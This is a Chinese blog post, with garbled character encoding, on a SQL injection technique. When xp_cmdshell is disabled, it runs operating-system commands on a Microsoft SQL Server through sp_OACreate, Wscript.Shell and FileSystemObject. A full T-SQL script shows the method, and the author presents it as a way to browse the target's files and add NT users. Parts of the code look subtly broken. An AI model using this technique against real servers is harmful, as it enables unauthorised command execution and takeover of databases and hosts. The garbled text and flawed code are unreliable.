我的BLOG里有一篇文章介紹了關(guān)于SQL注入的基本原理和一些方法。最讓人感興趣的也許就是前面介紹的利用擴(kuò)展存儲(chǔ)過程xp_cmdshell來運(yùn)行操作系統(tǒng)的控制臺(tái)命令。這種方法也非常的簡單，只需使用下面的SQL語句：

EXEC master.dbo.xp_cmdshell 'dir c:/'

但是越來越多的數(shù)據(jù)庫管理員已經(jīng)意識(shí)到這個(gè)擴(kuò)展存儲(chǔ)過程的潛在危險(xiǎn)，他們可能會(huì)將該存儲(chǔ)過程的動(dòng)態(tài)鏈接庫xplog70.dll文件刪除或改了名，這時(shí)侯許多人也許會(huì)放棄，因?yàn)槲覀儫o法運(yùn)行任何的cmd命令，很難查看對(duì)方計(jì)算機(jī)的文件、目錄、開啟的服務(wù)，也無法添加NT用戶。

對(duì)此作過一番研究，后來我發(fā)現(xiàn)即使xp_cmdshell不可用了，還是有可能在服務(wù)器上運(yùn)行CMD并得到回顯結(jié)果的，這里要用到SQL服務(wù)器另外的幾個(gè)系統(tǒng)存儲(chǔ)過程：sp_OACreate，sp_OAGetPRoperty和sp_OAMethod。前提是服務(wù)器上的Wscript.shell和Scripting.FileSystemObject可用。
sp_OACreate
在 Microsoft? SQL Server? 實(shí)例上創(chuàng)建 OLE 對(duì)象實(shí)例。
語法
sp_OACreate progid, clsid,
objecttoken OUTPUT
[ , context ]
sp_OAGetProperty
獲取 OLE 對(duì)象的屬性值。
語法
sp_OAGetProperty objecttoken,
propertyname
[, propertyvalue OUTPUT]
[, index...]
sp_OAMethod
調(diào)用 OLE 對(duì)象的方法。
語法
sp_OAMethod objecttoken,
methodname
[, returnvalue OUTPUT]
[ , [ @parametername = ] parameter [ OUTPUT ]
[...n]]

思路：
先在SQL Server 上建立一個(gè)Wscript.Shell，調(diào)用其run Method，將cmd.exe執(zhí)行的結(jié)果輸出到一個(gè)文件中，然后再建立一個(gè)Scripting.FileSystemObject，通過它建立一個(gè)TextStream對(duì)象，讀出臨時(shí)文件中的字符，一行一行的添加到一個(gè)臨時(shí)表中。

以下是相應(yīng)的SQL語句

CREATE TABLE mytmp(info VARCHAR(400),ID IDENTITY (1, 1) NOT NULL)
DECLARE @shell INT
DECLARE @fso INT
DECLARE @file INT
DECLARE @isEnd BIT
DECLARE @out VARCHAR(400)
EXEC sp_oacreate 'wscript.shell',@shell output
EXEC sp_oamethod @shell,'run',null,'cmd.exe /c dir c:/>c:/temp.txt','0','true'
--注意run的參數(shù)true指的是將等待程序運(yùn)行的結(jié)果，對(duì)于類似ping的長時(shí)間命令必需使用此參數(shù)。

EXEC sp_oacreate 'scripting.filesystemobject',@fso output
EXEC sp_oamethod @fso,'opentextfile',@file out,'c:/temp.txt'
--因?yàn)閒so的opentextfile方法將返回一個(gè)textstream對(duì)象，所以此時(shí)@file是一個(gè)對(duì)象令牌

WHILE @shell>0
BEGIN
EXEC sp_oamethod @file,'Readline',@out out
INSERT INTO MYTMP(info) VALUES (@out)
EXEC sp_oagetproperty @file,'AtEndOfStream',@isEnd out
IF @isEnd=1 BREAK
ELSE CONTINUE
END

DROP TABLE MYTMP